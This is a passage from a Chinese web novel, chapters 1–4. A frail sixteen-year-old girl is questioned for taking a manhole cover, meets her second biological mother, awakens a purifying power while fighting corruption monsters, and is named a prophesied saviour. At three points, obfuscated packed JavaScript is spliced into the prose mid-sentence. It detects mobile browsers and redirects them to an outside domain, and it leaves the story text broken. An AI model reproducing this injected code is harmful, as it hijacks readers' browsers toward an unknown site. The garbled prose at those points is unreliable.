《中二病就是要拯救世界》 1. 进局子了 “……所以,我必须告诉你,偷井盖是件违法的事。” “可我没有偷,”问询室内,姜万岁抿唇看向对方,理直气壮地开口道,“书上说‘不问自取’是偷。可我拿之前问过了,没有人回答我,我才把它拿走的。” 隔板外,明晃晃的灯光打在警员那张严肃的脸上,她用凝重的语气说:“事实上,那名可怜的环卫工在更换地下井盖时失足掉了下去,她被摔晕了,当然回答不了你。” “哦,”姜万岁眨了下眼睛,她微微起身,凑近了那道拦在二人中间的透明隔板,观察着对面警员的神色说,“那我不知道下面有人嘛。我想要那个井盖,就拿走了,有什么不对?” 警员眉头一跳,心说哪里都不对。 东区内,街道的地下井盖之上都设有隔绝污浊的屏障锁,为了保证安全,区内有专门的环卫工负责对井盖及屏障锁进行定期检修和更换。因此,环卫工的事故绝不能被看成小事。 今天下午,有人在路上发现了那个未合盖的、黑黢黢的地下井口,立即选择报警。治安局赶到后则当即进行隔绝侦查并开展救援活动。当街的监控有所损坏,而通过那个唯一完好监视器,她们就发现了一个在不远处若无其事推着井盖骨碌碌向前跑的少年。 监控中的少年人身形瘦弱,身上穿了件宽大的灰白色卫衣,脖子上则系着条粗长的红围巾。在这点亮色之上的则是一张隐见苍白的面颊,剃得浑圆的寸头上发色稍浅——结合她的体形,很容易令人联想到这是某种营养不良的症状。不过她身形虽然弱,精神气看着倒挺好,一路推着井盖越跑越快,气吁吁的样子中还透着股莫名的快活。 治安局当即把这个快活的人带了回来。 事发至今,那名环卫工尚未清醒,鉴于对污浊的高度警戒,治安局对任何相关人员都不可掉以轻心。于是这个少年人被关进了设有高级检测屏障的坚固问询室内,来进行问询的警官也是图素这个有着丰富一线经验的异能者。 在当今世界,污浊的侵染防不胜防,比起外在表现明显的浊异兽,以人身为介质的浊异人更令人十足警戒。当个体一旦被污浊侵染,人的意识会被逐渐蚕食,而浊生体会依据寄居得来的记忆伪装原主,直至理智完全丧失,它们会依据本能开展无差别攻击,导致更严重的污浊爆发。 不过,除了低温这类生理性表现,理智的逐渐丧失也意味着浊生体的伪装仍然是相当有限的。受到侵染的大多数的浊异人都会出现表情迥异、情绪偏激、行为失控以及智障慊疑等症状。 而除了与受害人亲近的亲朋好友,有丰富经验的一线警官对于浊异人的辨识也是敏锐的。图素的异能力是力量系,强壮的身躯让她在跟浊生体的作战中很有优势,这也让她积累了足够的与浊异人的接触经验。 因此,她来这里问询的主要目的就很明显了。 当下,图素暗暗提高了警戒,继续说:“东区居民安全守则第十三条,‘一旦发现屏障锁异常应及时上报治安管理局’……这些内容应该在隔离区有过学习。” 这话的隐含之意是治安局已经对姜万岁的身份背景有所调查。出于安全的考虑,这个步骤是必不可少的。而调查发现,“姜万岁”的身份信息并不在东区的居民信息库中。那么剩下的可能,就是这名小女士来自外部的散居地。 作为附近最大的安全基地,东区会定期接纳外部散居地的流民安置,但为了防止外部浊生体的侵入,每个外来者都要在外环隔离区渡过至少一周的隔离期。而在这个时间内,她们会学习到有关东区的法律条例和社区守则。 “我出来又不是学习的,”姜万岁显然还对这些一无所知,她抱臂坐回了座位,昂着头说,“我也有自己的事情要做啊。” 对于姜万岁而言,这回可是她好不容易的第一次出远门,最大目标就是多玩多看。 姜万岁今年十六,一直和母亲姜千遂相依为命。而因为打小身体素质堪忧,她的大多数时间都被母亲关在家里,靠着不知疲倦地读姜千遂每次打猎顺便带回来的书籍解闷。 可随着她越长越大,那些各色各样的书本也总有看腻的时候,在再三要求被母亲拒绝后,姜万岁一咬牙一跺脚,干脆就自己偷溜出了家门。 ——不过她也非常贴心,临走前还给母亲留了张“大王已出山”的条子。 出门后,姜万岁对一切都很好奇,虽说亲眼看到的外面的世界确实跟她的想象有不少差别,但至少也是出来了。也是出来才能看到,她们的家门外是片荒芜破败的山丘,别说人烟了,姜万岁连只蹦跳的兔子都没发现。她不免纳闷,想知道每次母亲出门带回来的“猎物”是从哪儿打到的。 不过首次出门,她还是有些好运气的。下山之后,当她对着浓稠欲滴的天幕发呆时,一伙流浪的人发现了她。她们原先的居住地被毁,要赶往就近的东区基地。一行人见到姜万岁孤苦伶仃,就以为她也是丧失家园的孩子,索性将她也带上了。赶在下酸雨之前,队伍中的速度系异能者就带着她们离开了。 姜万岁还不清楚外面有人能一日千里,她只是觉得一眨眼好像景色就变了,突然间视野中便出现了一个大型的人类聚居地——这可把姜万岁激动坏了。她非常开心地和同行的姨姨姐姐们道谢,然后在“外来者登记”排队时灵机一动,仗着自己体型尚小从墙边的一处小洞里钻了出去。 就这样姜万岁兴致勃勃,在东区基地漫无目的地瞎逛。虽说她身上也没带多少吃的,但她意外骗来了一笔傻子的钱,还交到了一个同龄人当朋友。 不过这个朋友有点倒楣,现在进了医院。 “我还要去看我的朋友,”姜万岁说,“看望病人总不能空手去吧。” 反正我的书里是这么写的。她暗暗想。 “……你的朋友喜欢吃井盖还是怎么着?”图素冷不丁地问。 “不是!当然不是!”姜万岁当即反驳,“井盖可以换钱,钱!谁会吃井盖啊……” 说到最后,她还用带着怀疑和慊弃的目光打量了一眼图素。 图素顿了顿,心想这反应还算正常,确实没见过有哪个浊生体作出如此生动的瞧不起人的欠揍表情。 污浊的侵入会对人的面部神经造成不可逆的损害,因此“面瘫”也是辨识浊异人的一个典型依据。图素微微舒了口气。如果是缺乏区内的通识教育,这少年做出这样离谱的举动倒也能说通。 她抬了下眼,隔板上显示了对于被问询者的温度实时探测。如果是浊异人,在隔绝空间内无法汲取热源时身体会出现明显的低温——稳定在5℃到10℃之间。 隔板上显示,后方被问询者的身体温度为36.1℃。 图素将身体稍向后靠在了椅背上,继续问道:“你对于那名环卫工人的失足有什么要说的吗?” 闻言,姜万岁眼中的怀疑更浓了,她没忍住在心里说了句“愚蠢”,才抱着双臂没好气地说:“我连推个井盖都费劲儿,别提推人了……不然你们怎么会这么容易就把我抓回来?” 图素在她的胳膊腿上扫过一眼,姑且没对这种说法表示异议。那名失足的环卫工实打实能赶上她两个壮,而且,她在面对治安局时也确实没有做贼心虚的慌乱。就姜万岁目前的表现来看,她明显也不存在什么天衣无缝的伪装能力。 “你的监护人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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图素张了下口,一时没能出声,因为此时在她视野内,那阵嗒嗒的脚步声已然带出了主人的真容。来者只有两人,为首的是位身披灰色大衣的女士,身量挺拔,步履从容,一头颜色较常人稍浅的短发尽数拢在脑后,端正可亲的面容上尚带着三分笑意。她身边则跟着一位着正装、戴着眼镜的圆脸女士。 图素一见到前面的人就愣了下。从前,她对于这位东区的主要建立者大多是听人讲述,现在亲眼见到只存在于相片中的真人,确实挺有冲击力的。她愣愣地望着晏徽年走近,下一秒却在脑海中想到:或许那孩子的头发不是因为营养不良? “图警官,久仰大名。”晏徽年已经笑着向她伸出手来。 “晏首席,我才真是……”图素握住她的手,同样露出了真切的笑容,“久仰您的大名。” 于是不久后,还在隔离室内拧眉苦思的姜万岁就听见“咔”的一声,那问询室的门突然又从外打开了。这次进来的除了那个愚蠢的警官,还多了两个。 带着好奇,她下意识就把视线投注到了那个在正中间的人身上,随后就怔住了。 一时间空气中寂静非常。 图素在一侧,也保持了自己旁观者的身份没有开口。她谨慎地观察到,旁边晏首席脸上的笑容不知何时已经完全消失了,她就用这副罕见的面无表情和隔板后的那个孩子对望。 就在这样近乎肃然的静默中,一种不容忽视的相似性就在一大一小两个人的视线交接中浮现出来——或许是脸型、五官或者面部的肌肉走势,又或者都不太像……但就是这样一种,颇令观者心惊的极其微妙的神似。 看来这孩子的头发确实是天生的…… 图素在心中这样想着,视线和晏徽年另一侧的人对上了。方才已互相介绍过,她是首席助理姚锦。姚锦向图素悄悄地露出笑来,神情中倒比晏徽年还要激动许多。 “你好,”终于,晏徽年的声音打破了静默,她率先收回视线,组织着语言对姜万岁说,“我是你的……母亲。” 姜万岁也同样别开头,“嗤”的一声发出冷笑。 “你是我妈?”她反问,“你咋不说你是黎山老母呢?” 2. 出局子咯 “黎山老母”一般存在于神话故事中,是法力无边、地位崇高的始祖之神。 当然了,这不是重点。重点是在此情此景,用始祖之神来讥讽长辈的姜万岁——看上去就挺没礼貌的。 图素听完这话就没忍住向她望了一眼。图素已经是一个稳重的成年人了,此刻还是忍不住有点脚趾扣地外加汗流浃背。 在旁边的姚锦看上去也是一副没反应过来、但是瞳孔地震的样子。 三人中,只有晏徽年神色不变,仍然以她温和的嗓音说:“我确实是你的母亲——另一个亲生母亲。你如果不信,我可以带你去做亲子鉴定。” 姜万岁当然不信。在她心中,母亲只有一个姜千遂,她的地位是独一无二、至高无上的。看了一眼晏徽年,姜万岁还在心中忿忿腹诽:这人的头发颜色虽然跟我的很像,但是也太没礼貌了吧?! 本来在晏徽年一露面时,姜万岁还不由自主地被她的头发吸引了。 姜万岁身体瘦弱,在家时姜千遂时常摸着她那头毛乎乎的、看上去有些发黄的发茬露出一脸凝重的神情。每当这时候,姜万岁就知道母亲准是在盘算着下次打猎时要给她找到什么补营养的东西了。然而无论是珍贵的肉食还是“旧时代”的营养品,进了姜万岁的嘴里也统统没起什么作用。她的头发颜色还是太浅,在太阳光下甚至显得发黄。 姜万岁为此也有些郁闷。她总希望自己能快快健壮起来,小时候躺在病床上,总觉得只要长大了就好,长大后她就会变得跟母亲一模一样——高大、强壮、还有一头茂密的黑发。然而这个愿望已经渐渐落空了。 她没想到,现在居然能看到个跟自己差不多营养不良的,还是个虽然不太壮但总算健康的大人,所以姜万岁其实很好奇。她有点想问问对方平常都是吃什么补营养,又想问问她小时候是不是也经常会生病。 不过,现在这一切的好奇都被对方上来就自称为妈的冒昧言行破坏了。 ——这个人,难道就是传说中的人贩子吗?! ——真是胆大包天!! 姜万岁板着脸,怎么看对方怎么不顺眼。但很快她灵光一闪反应了过来,目光在晏徽年和图素身上打了个转。 “——那你能带我出去咯?”姜万岁拉长了声音问。 晏徽年心知这是在问自己,便颔首说:“当然。” “那好,那我们现在就去做什么‘亲子鉴定’!”姜万岁决定先不跟她计较,从一直坐着的椅子上蹦了下来,她拍了拍那层透明的隔板,“还不快放我出去?!” 图素还没从方才从晏徽年那里听到的“另一个亲生母亲”这句话中回神,她记起了从前隐约听到的一些传闻。此时被姜万岁的声音惊醒,她克制着好奇上前,在用指纹解锁打开隔板中闭合门的同时,又不着痕迹地瞧了姜万岁几眼。 姜万岁仿佛没注意,她自顾自理了理自己的红围巾,等门一开,就昂首阔步地从里面走了出来。 “哼。” 经过图素时,她还不忘回敬一声冷哼。 图素:“……”这孩子没礼貌。 姜万岁在晏徽年身前站定,昂着头又定定凝视了她几秒,转头看向了另一侧的姚锦。 姚锦向她露出微笑。 “那你又是谁?”姜万岁问,“黎山老母的护法神将?” 姚锦:“……” 图素眼角一跳,她正想开口,那厢晏徽年却已经转过身去。她没理会姜万岁在说完后故意丢来的挑衅眼神,只是温声说:“走吧。” 一行人出了问询室。走廊中,晏徽年像忽然想起什么似的,对图素道:“我记得,违反安全守则与条例的青少年有完成社区劳动的义务?” 图素愣了下,故意没去看突然察觉到某种不对而警觉起来的姜万岁,她点头说:“是的。在您签字后,根据……根据小姜女士从隔离区逃学以及偷拿井盖的相关举动……” “——喂!我说了那不是偷!”因为步速问题落后于三人的姜万岁耳朵一竖,当即发出抗议,“我可没承认——” 图素全当没听见这几声咋呼,继续说:“我们会在后续为小姜女士安排一周到两周不等的社区劳动时间。” 晏徽年微微一笑,点头说:“她确实需要更多的学习。” 图素深以为然,欣慰道:“家长的支持对于我们而言十分重要……” 就这样一路终于到了门口,被齐齐无视的姜万岁身上已经背负了沉甸甸的劳动重担。她看着人贩子还有脸在那里冒充母亲签字,更是气不打一处来。 “你不是我妈!”她怒气冲冲地说,“你说的话不算数!” 晏徽年将随身带的钢笔放回口袋,扭头瞧见她,笑容中还是很温和。 “如果亲子鉴定的结果如你所言,我会亲自将你送回来的。” 她像是知道姜万岁最在乎什么似的,特意在后半句放慢了语调。 姜万岁自然听出来了,她抿唇地盯了对方两秒,突然撞开她自己向外走了。姚锦则自觉追上去。 晏徽年望着那个灰色的背影,转而向图素道别。正好这时图素的手机又响了,她便也转身接起了电话。 “图队!那名环卫工醒了,情况不妙……” 手机那头传来呼呼风声,打电话的人语声急切间似乎正在快速奔跑。 “怎么回事?”图素的声音也凝重下来,“她感染了?” “不!她回忆起来,今晨在地下管道中发现了疑似浊异兽的身影,她没有阻拦成功,那只浊异兽从地下管道中跑出来了……” ——不好!! 图素神情一凛,这消息意味着在外面的街道中还潜伏流窜的一只浊异兽!附近的居民很危险,还有刚刚出去的晏首席几人! 图素一边联系着发布街道危险预警,一边快速向治安局外追去。 晏徽年的车停在外面。 姜万岁已经气咻咻地停在了那辆焊接着厚重装甲的改装车前,面上不动如山,心里却龇牙咧嘴的。方才那一撞其实撞得她自己的肩膀有点疼,不过这绝对不能显现出来。 她要想办法溜走。 姚锦还尽职尽责地跟在姜万岁的身边解说:“这就是晏首席的车,稍等我为您打开车门。” 她上前在车门的暗锁上操作了几下,原本闭合的后座车门便缓缓开了。趁此机会,姚锦还又暗暗瞄了姜万岁几眼。 姜万岁抱着双臂,走过去时却突然转了个弯,走到了另一边的车门,原模原样地复刻了方才姚锦解锁的动作。于是,轻微“咔”的一声,这车门也自己打开了。 姜万岁故意向吃惊的姚锦抬起了下巴,可就在此时,她却直觉似的突然汗毛直立……就在这侧车门的侧后方,一道庞大的黑影竟猛然从那处的巷子蹿了出来,眨眼间便扑到了姜万岁的身边。 “——小心!!” 姚锦瞳孔骤缩,她立即张开手掌。只听见“嗡”的一声,周围数十米的碎石及金属乍然便聚为一把锋利的铡刀,直向那黑影浊异兽的腰脊劈去! ——这是姚锦的异能力:物质重构。 以自身为坐标,她能将方圆数十米内的石沙金属在瞬间改组为盔甲或锐器,进可攻、退可守。 “刺啦”一下,那黑影被从背后劈成了均匀的两半 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15896365|176542||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,姚锦正要凝聚起沙盾护住姜万岁,却见那本该丧命的浊异兽竟飞快从那两半中又各自重新长出了完整身形。其中一只抬起了幽幽两点红色的眼眶,霎时便向姚锦扑了过来! 而就在空中时,它在转瞬间又从自身分裂为二,彻底挡住了姚锦的视野。 ——该死的!这只浊异兽的异能力,是分裂再生?! 铡刀闪过,飞速斩断了两只异能兽的后肢,姚锦又操纵着沙石想将它合拢困住。她余光中已发现了后方晏徽年的身影,忙又在她身边凝起了石盾。 “首席后退!!” 晏徽年是未觉醒异能的普通人,她神情不动,这时像没听见姚锦的话似的快步上前,举枪便向车后连发数弹。 “砰砰砰……” 枪声还没传到姜万岁的耳中。在车后的阴影中,她仰头望着那个黑面獠牙的四蹄怪兽,心中在问: 这是啥? 眼前的怪物头不是头、脸不是脸,疑似长着四条腿、两条尾巴,身上是一片浓重到甚至粘稠的黑雾,还在滴滴嗒嗒地淌下了疑似液体的东西。最前面是一块形状不规则的黑块,好悬还有两个红窟窿能供人辨认,下方则大张着外翻的、全部利齿暴露在外的嘴巴。 ——妈呀,这还真有怪兽?!原来……故事里都是真的? 姜万岁深吸了一口凉气,还记得开小差在心中发出感叹。 此时此刻她心跳加速、呼吸发紧、整个人几乎都僵在了原地。 可就在那怪兽咆哮着向她扑来时,姜万岁却顺势抓了一把那护在她身前、尚未凝聚成形的沙堆,“歘”的一下向怪兽的眼睛撒了过去。 “退!” 她喊着撒完,拔腿就跑。 可还没跑几步,那怪兽的大张着、冒着黑气的嘴霎时又悬在了她的脑后。 不对!姜万岁被吓得险些心跳骤停,这怪物为什么不怕迷眼啊??! 好在这时“砰砰砰”枪声已至,子弹一旦钻入浊异兽的身体便爆裂为灼灼烈火,在那黑雾中烧了起来。那怪兽吃痛,身体从中枪的部位接连断开,未被子弹波及的部位却又飞速生长愈合,成了三头一模一样的浊异兽。 其中一只急不可耐,张口便向姜万岁咬来。姜万岁打了个滚,好险没让它啃中肩膀,可偏偏一直戴在脖子上的红围巾却被怪兽叼住了。 姜万岁下意识伸手拽住,紧接着却被窒息般的巨力扯了起来。下一秒,她两脚离地马上就要被那怪兽咬进嘴里,逃不掉了!正在这九死一生之时,姜万岁咬紧牙关,一转头用尽全力向怪兽的上颚打了下去—— “啵……” 粘稠的浓黑色并不坚硬却深不见底,像吞食似的咬住人的手臂下咽。可就在下一刻,一阵刺目的白光乍然穿透了黑雾。原本凶恶的浊异兽霎时发出了比方才被子弹击中时还要痛苦百倍的尖啸。平静的稀薄的空气开始出现了阵阵波涛般声势浩大的振动,那阵耀眼的白光就在这样势不可挡的动荡中向外散去。 “嗡”的一声,还在分裂的、尚未分裂的浊异兽都在这样的白光中被撕裂褪色,浊黑弥漫的街道眨眼间便被洗涤一空! 所有的浊异兽都消失了。 原本急上加急正向那伤人异兽砍去的多柄铡刀、锐器和石块失去了攻击目标,姚锦呆立在原地,一时间尚未明白发生了什么。 被多个石盾、铁盾掩护着前进的晏徽年则匆忙收起枪,她望着某个方向大步跑了起来。 在车后,那阵白光已渐渐收拢回姜万岁的体内,她还悬在半空,气力仿佛在眨眼间就被全部抽空了,重如千钧的昏沉感袭来。姜万岁闭上眼睛,乍然摔了下去。 3. 巫和浊异人 “……妈,外面……都有什么呢?” 记忆里,姜万岁也会向母亲询问外面的世界,她总是感到好奇。 姜千遂这时候会将手里的事放下,转身坐到床前去摸她的脑袋,她这样回答:“现在……跟书里说的,有些不一样了,不过也没什么好的。还是有山、有水、有人群、有房子……不过,会有一些乱七八糟的东西,很危险。” 姜万岁觉得这是母亲想让自己安心养病的托词,她不太满意地问:“难道还有怪兽吗?还有超女战士打怪兽?妈,我已经不读那些哄小孩的漫画书啦……” 她的阅读速度总是很快,卧病在床的日子里也只能靠读书解闷。自打姜万岁识字以来,姜千遂每次出门都会留意为她带回读物,有时候能找到适龄的书本、有时候的就没那么合适。不过姜万岁通通消化得很顺利,还在心中自觉为它们排列出“等级”来。像怪兽和超女战士的故事一看就是五岁孩子的睡前读物,故事情节既简单又夸张。姜万岁在六岁时就已经不再读了。 她现在读的书里还说什么“油价上涨”“前沿生殖科技取得新突破”“某某某国总统正在就气候问题签署协约”等等等等的新闻呢。书本是她向外窥探的窗口,而通过不同的窗口又总会看到不同的内容。姜万岁就这样渐渐拼凑着自己对外面的认知。她大概可以推断出,外面会是一个忙碌而又总体上安稳的世界。 ——至少是没有怪兽的。 姜千遂在女儿的目光下笑了,她没打算详细解释书本和现实如何不同,就像不会去说这些书本的来历一样。她是坚毅而沉默的性子,唯独在面对女儿时会神情柔软一些。 “等你长大了,我就告诉你。”她如此安抚着姜万岁,“万岁,等你再长大一点。” “我一定会的,”姜万岁于是信誓旦旦地抓住了母亲的手,像是隔空捧住了她那颗浸满了忧虑和不安的心脏,姜万岁点着头郑重保证,“妈,我一定会长大——会快快长大的。” 姜千遂不再说话,只是又伸手在女儿的头上摸了摸。 “万岁……” 恍惚间,姜万岁就在母亲的呢喃声中缓缓睁开了眼睛。 一秒钟以后,她费劲眨了眨眼,视野中仍然是一方陌生的、洁白的天花板——这里并不是那个自己熟悉的地方。 姜万岁猛然醒过神,她想要动作,可躯体四肢还都酸软无力,只能费劲儿地转一转脖子。 “你醒了?”一道低柔而喑哑的声音在她耳畔响起。 姜万岁吓了一跳,转头便发现床头正守着一个年长的陌生人。她有一张古铜色的面颊,轮廓流畅圆润,双目细长深邃。身上则穿着一袭拼接痕迹明显的靛色长衫,脖子上挂了颗显眼的、淡黄色的珠子。 “异能力的首次觉醒使你的身体陷入了极大的亏损,所以你昏了过去,被送来了这里。晏首席刚刚离开,她请我过来查看一下你的情况……” 姜万岁在晕倒后被就近送到了外环部的医院,进入了异能养护科。到现在,她已经睡过整整两天了。 眼下随着对方的叙述,姜万岁也回忆起了失去意识前发生的一切。她觉得自己渐渐恢复了一些力气,努力动了动手指。 “你是谁?”姜万岁盯着她问。 “我是蓼满,”对方轻声说,“来自西区的巫。” 完整的大陆版图之上,西区与东区基地隔着时隐时现的污浊和数量不明的散居地遥遥相对。和位于平原地貌的东区不同,西区坐落于高耸而幽深的山林中,那里只有神秘的巫居住。她们一族强大而深居简出,据说掌握着能窥探命运的异能力。 “大巫母聆听到了命运的指引,混沌不明的世界将迎来破晓的白光。十六年前,救世之星诞生于两位母亲的骨血之中,命运给予了她最为慷慨的馈赠,她会觉醒举世无双的净化之能,将所有的污浊涤荡一清。旧日陨灭,她是即将升起的、崭新的太阳……”蓼满低低诉说着,“我正是为此出发。” 姜万岁伸手摸到了在枕边的围巾,对这番话听得云里雾里:“……你看着我干嘛?” 蓼满高深莫测的神情一顿,她想了想,拿起了原本放在床头柜上的几张文件。 “这是晏首席留下的,是你与她的亲子鉴定报告,在你昏迷的这段时间中已经出来了。”她说,“我知道你是在另一位母亲的照顾下长大。姜万岁,你是预言中的救世之星,我为你而来。” 姜万岁的眉毛快拧成了麻花,她接过那几张纸快速翻动起来。许是知道她对外部的知识匮乏,在这段时间中蓼满则好心做起了解说。 七十多年前,那时还被称为白星和共国的首都因不明原因爆发污浊,并迅速向外席卷,浓厚而粘稠的黑雾会将靠近的一切生命吞噬,并转化出可怕而邪恶的浊生体——不仅包含有人类外表的浊异人,还包括非人类物种所转化成的浊异兽。它们往往身负异能,肆意侵袭人类的生存空间。 在与污浊的抗争中,人类女性渐渐觉醒了能与之抗衡的异能力,但另一半的人口却始终难以自保,几乎全数丧生在污浊之中。为了人类的繁衍存续,当时还未彻底四分五裂的合众国在启用配子库的同时,也开始大力发展双雌与孤雌生殖技术。 可就在双雌生殖取得了重大突破之际,初步觉醒异能的人类却也在与强大污浊的对抗中迎来了首次大败北,被迫撤居中心区,原本统一的和共国也四分五裂。再后来,人们则重新建立了东区、西区和南区这三大基地,守望相助。觉醒了异能的巫正驻守于西区的山林中。 近期,巫中最为强大的大巫母通过预言之眼窥探到了命运的转机。十六年前,有一例唯一成功的双雌结晶,她的生命之火原来并未被当初的那场污浊尽数熄灭。她会回归我们的土地,用越燃越旺的火光驱散一切黑暗。 “……预言为我们做出了指示,它告诉了我们你会现身于生身母亲的栖居之地。因此,我便来到了东区,先一步找到了你的母亲。我将尽我所能帮助你。”蓼满说出了自己的目的。 有大巫母的亲笔信,蓼满也花了一些功夫取得了晏徽年的信任。而正是通过她的占卜,晏徽年才会选择在这个时间来到外环部。 在外环部的医院病房中,姜万岁的视线还死死的凝在“晏徽年”这三个字上。她将那几张纸拍下,似乎在这新接受的大量信息中神思恍惚。 “你知道我妈是谁?”她忽然问。 蓼满眨了下眼,想也明白她口中的“妈”还不会是晏首席。她回忆着之前在东区技术中心看到的相关档案,另一名卵细胞捐赠者…… “她是姜千遂姜女士。” 得到答案的姜万岁微微瞪大了眼睛,又飞快地移开视线,嘴巴紧紧抿了起来。 “我不相信你们,”她硬邦邦地开口道,“我要去找我妈。” “好,我不会阻止你,”蓼满于是也点头说,“不过你现在的身体还没恢复好,整个东区也在戒严封闭的状态,等晏首席处理好了,我们可以一起去。” “东区戒严?”姜万岁敏锐地抓住了一个信息点,“为什么封闭了?” 她心想:那我妈要找我岂不是进不来了? “因为这几日出现了浊生体的暴乱,不仅区外的浊生体增多,区内也突然出现了不少浊异人和浊异兽,现在行委会和维护局在加班加点处理这些事。”晏首席会离开也是因为这个。 此时姜万岁的身上恢复了不少力气,她想掀开被子跳下来。临动作前,她又想起了什么,看着蓼满说:“我要去厕所。” 蓼满笑了笑,伸手给她指了方向:“病房里就有,在那边。” 姜万岁瞟了眼那扇紧闭的小门,张嘴想再找个借口让她离开,这时却见门口突然出现了一个穿着白大褂的身影。 蓼满也转过头,认出这似乎是医生来查房。可等那白大褂的身影走近时,她却又觉得不对。 几乎是在和对方视线相对的当刻,她就立即发动了攻击。 ——这个“医生”的笑容很不对劲,这种僵硬的、皮笑肉不笑的面部肌肉状态、努力睁大却仍然无神的双眼,是浊异人才会出现的特征!并且,医生胸前的名牌上写的所属科室是“精神科”,这根本不是应该来查房的那名张医生。 “小心!”她伸手便甩出了一把闪着寒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15896366|176542||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光的匕首,身体也随之而动,意图先将它逼出室内,以免会误伤这个小病号。 姜万岁就看着她莫名其妙地开始手脚并舞,一边和空气比比划划,一边绕过了那名新进来的医生向门口赶。 “喂……”姜万岁下意识叫了一声,立刻反应过来了不对。那名白大褂医生面上带着越来越诡异的笑容向她走了过来,它的眼睛中是两轮漆黑的、正在旋转的螺旋线条。 ——是浊异人!跟那只能分裂的怪兽一样,它也有异能力!蓼满是中招了! 那浊异人走了几步,又不紧不慢地向姜万岁张开了双臂,两只螺旋眼的颜色浓稠得几乎要滴出水来。 “蓼满,快回来!是它的异能力!”姜万岁一边大声叫着越跑越远的巫,一边紧张而戒备的望着它。 两人就这样静静地对峙了两秒,期间穿插着蓼满噗噗殴打空气的疑惑声。 慢慢的,那浊异人收回了手,或许是因为还披着人类的面皮,这时的脸上竟罕见而僵硬地浮现出一个夸张的疑惑表情。 姜万岁立马反应了过来:它的异能八成就是让人产生幻觉,所以刚才它是想让自己跟蓼满一样被幻觉蒙蔽,自投落网! 她也来不及想为什么自己没中招,眼疾手快间,一把抓起床头桌上的水杯就向浊异人砸了过去。 “——蓼满!它在你后面!!” 浊异人动作迅速,歪头便躲过了那只杯子,它张开嘴,猛然便向病床扑了过来。 而正在此时,蓼满也觉察到了异常,她的视野中还是有个倚着门框张牙舞爪的浊异人,可姜万岁的叫喊和方才清晰的“锵啷”一声却已给了她明确的提示。 她闭起双眼,听声辨位再度将手中的匕首甩了过去,同时分外利落地给了自己一拳。 除了占卜这个种族天赋之外,蓼满还有一项异能是【伤害转接】,发动时能将自己身上所受伤害原本或成倍的转移到在一定距离之外的对手身上。 “呲”的一下,浊异人的腿部被匕首的刀刃划破,而【伤害转接】也瞬间启动,浊异人的脸上霎时便多出来一大片淤青。可紧接着,它便双手撕下了自己的耳朵,源源不断的浊水涌出。蓼满也猛然捂住了双耳,后又摇晃着甩了下头。 “蓼满?蓼满!!” 姜万岁叫了几声被完全无视,只能心累地又看着她继续和身边的空气搏斗。 ——喂!你话里“强大”而“神秘”的巫到底是谁啊?! 浊异人发现了自己的异能对姜万岁完全不起作用,现在已经准备用物理手段了。正在它向床上扑来的同时,早就蓄势待发的姜万岁突然将身上盖着的被子甩开蒙了上去。那浊异人想挣脱,姜万岁却咬牙切齿地先掼住它的脖子,隔着被子“邦邦”给了两拳。 她还张了张自己的手,努力回想当初那阵白光是怎么发出来的,可再怎么想都只有手脚的虚乏感。不一会儿,她就和被子一起被甩飞了。姜万岁先砸在了墙上,又向下直接摔了个结实的屁股蹲。 “嘶……你完了!”她痛得倒吸凉气,放狠话说,“我告诉你你完蛋了!!” 那浊异人身上渗出了越来越多的黑水,甚至有不少是从它的嘴里冒出的。它“盯”着姜万岁,浑身都显出一种饥肠辘辘的迫切来。 姜万岁连忙闭嘴,挣扎着爬起来就开始跑。 “万岁!” 在门边,蓼满再度在跟幻觉中浊异人的近身缠斗中察觉到了不对劲,不说这个突然发狂奔来的浊异人太过难缠,她也始终没再听到姜万岁的任何声音。 ——看来不仅是视觉,她的听觉可能也被蒙蔽了。 她一把取下了挂在颈前的黄色珠子,将它向之前她判断出的姜万岁的方位抛了过去。 “接住它!回源珠能帮你尽快恢复!” 姜万岁正向前跑着,眼睁睁看着一个圆溜溜的黑影朝着自己的脑门而来。紧接着,“砰”的一下,她被仰头砸倒,那珠子则弹落在地,滴溜溜又滚远了。 姜万岁望着天花板微微晃神,心头适时略过了几分疑惑。 ——说真的,她们是不是一伙的?? 4. 娜索 好消息,那颗滴溜溜滚远的珠子也让姜万岁后面急吼吼撵来的浊异人脚底踩滑,它“噗通”一声摔倒了。 这多少让姜万岁有了点反应的时间,也打消了几分对蓼满的怀疑。 她捂着额头回头一看,正好和趴在地上龇牙咧嘴的浊异人对上了视线。 姜万岁:“……” 下一刻那浊异人就发出嘶吼,像是饿了三天的人看见肉包子似的,对着她“嗖”的一下就手脚并用地爬来。 姜万岁叫了一声,立刻就地翻滚,险险向一侧避开了。在她克制着头晕目眩起身时,手向后却摸到了和墙壁不同的触感,是一扇疑似木质的门——是蓼满向她指出的那件厕所的门。这门还没有上锁,在姜万岁的力道下微微向后打开了空隙。 姜万岁屏住呼吸,目不转睛盯着那个在扑空之后拧过身来的浊异人,身体依靠着后面的厕所门暂时没动。 “砰!” 